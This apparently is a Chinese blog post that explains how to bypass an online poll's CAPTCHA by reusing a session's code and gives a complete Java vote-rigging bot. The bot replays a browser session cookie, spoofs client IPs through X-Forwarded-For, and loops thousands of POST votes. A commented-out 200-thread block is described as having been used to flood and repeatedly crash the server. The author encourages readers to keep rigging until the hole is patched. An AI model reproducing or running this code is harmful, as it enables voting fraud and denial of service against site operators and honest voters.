好多刷票的,服务器宕机好几次,后来投票程序升级了,增加了图片验证码功能,验证码中有4个英文数字组合,再后来升级为中文验证码。上次的js投票器,写的有点随意了,这次改java版的。
先来分析下验证码是如何工作的
第一步,request到服务器端,server生成验证码,置入session
第二部,跳转到客户端(一般是浏览器),此时生成图片,图片中的内容就是session 中的验证码
第三步,用户将 数据 + 肉眼看到的图片上的验证码?post/get到服务器
第四步,服务器端,验证post/get来的验证码,和session 中的验证码是否相同,相同则继续执行业务然后跳转到投票页即第一步生成新的验证码;不同则跳转到客户端,告诉客户端:你搞错了,然后跳转到第一步生成新的验证码
?
如果客户端是浏览器,验证码是正常工作的。但是,俺们是用程序搞request,执行完第四步之后,不会跳转到第一步,验证码就不正常工作了。如果程序写的严谨,比如:”第四步中校验验证码过后,生成新的验证码置入session中“,而不是通过让客户端重新发起第一步的request的方式生成新的验证码,则验证码还是可以正常工作的。
?
只需要在浏览器中,走到第二步,获取到验证码,然后用程序提交数据和验证码,依然可以
上干货,fuck goods
?
class="java" name="code">import java.io.IOException; import java.io.UnsupportedEncodingException; import java.net.URLEncoder; import java.util.Random; import org.apache.commons.httpclient.HttpClient; import org.apache.commons.httpclient.HttpException; import org.apache.commons.httpclient.NameValuePair; import org.apache.commons.httpclient.methods.PostMethod; public class TP extends Thread { // 验证码 protected static String AUTHNUM_SESSION = "向变关点育"; // 从浏览器中获取到的session信息,服务器端会认为本java程序提交的数据,和刚才浏览器是同一个会话session protected static String SESSION_ID = "PHPSESSID=uouddcugmv4jnpep1sv3vlkr64"; // 投票间隔 protected static long INTERVAL_TIME = 100; // 投票ID protected static String ID = "77"; // 投票总数 protected static int TP_MAX = 10000; // 投票地址 protected static String VOTE = "http://www.xxx.com/xly/tp/tp_ok.php?id=" + ID; protected static int COUTER = 0; /** * @param args * @throws IOException * @throws HttpException * @throws InterruptedException */ public static void main(String[] args) throws HttpException, IOException, InterruptedException { TP tp = new TP(); tp.start(); /** * 用程序刷票刷了一会,发现服务器端凡是针对ID是77的投票,全都不计数,连正常投票都不计数了,郁闷啊 * 不带这么玩的,别人都在刷票,唯独俺不能刷,没办法,开200线程,换个ID给别人投,让服务器busy,这样都不能刷票了 * 这才公平,结果服务器不间断的宕机、宕机 * */ // for(int i =0; i < 200;i++){ // TP tp = new TP(); // tp.start(); // } } public void run() { int counter = 0; for (;;) { if (TP_MAX > 0 && counter >= TP_MAX) { System.out.println("投票完成,共投票:" + counter); break; } try { vote(); Thread.sleep(INTERVAL_TIME); } catch (InterruptedException e) { e.printStackTrace(); } catch (HttpException e) { e.printStackTrace(); } catch (UnsupportedEncodingException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } counter++; } } protected static void vote() throws IOException, HttpException, UnsupportedEncodingException { HttpClient client = new HttpClient(); PostMethod post = new PostMethod(VOTE); /** * requestHeader中的属性,都是从浏览器种扒下来的 */ post .addRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); post.addRequestHeader("Accept-Charset", "GBK,utf-8;q=0.7,*;q=0.3"); post.addRequestHeader("Accept-Encoding", "GBK,utf-8;q=0.7,*;q=0.3"); post.addRequestHeader("Accept-Language", "zh-CN,zh;q=0.8"); post.addRequestHeader("Cache-Control", "max-age=0"); post.addRequestHeader("Connection", "keep-alive"); post.addRequestHeader("Host", "szdydly.ichzh.com"); post.addRequestHeader("Cookie", SESSION_ID); String fakeIp = rndIp(); // 伪造ip所需要的属性 post.addRequestHeader("X-Forwarded-For", fakeIp); post.addRequestHeader("Referer", "http://www.xxx.com/xly/tp/index.php"); post .addRequestHeader( "User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7"); NameValuePair[] nvp = new NameValuePair[3]; // 验证码的utf-8编码 String code = URLEncoder.encode(AUTHNUM_SESSION, "utf-8"); nvp[0] = new NameValuePair("code", code); nvp[1] = new NameValuePair("imgbtn.x", "33"); nvp[2] = new NameValuePair("imgbtn.y", "16"); post.setRequestBody(nvp); // 使用POST方式提交数据 int statusCode = client.executeMethod(post); System.out.println("statusCode : " + statusCode); if (statusCode == 200) { if (post.getResponseBody() != null) { String response1String = new String(post.getResponseBody(), "utf-8"); System.out.println(response1String); System.out.println("已投票:" + COUTER++); } } } /** * 伪造IP * * @return */ private static String rndIp() { return rndInt(255) + "." + rndInt(255) + "." + rndInt(255) + "." + rndInt(255); } private static int rndInt(int max) { Random rnd = new Random(47); return rnd.nextInt(max); } }
?
服务器上验证码漏洞一天没补上,就可以继续刷票,走起。程序中用到commons-httpclient包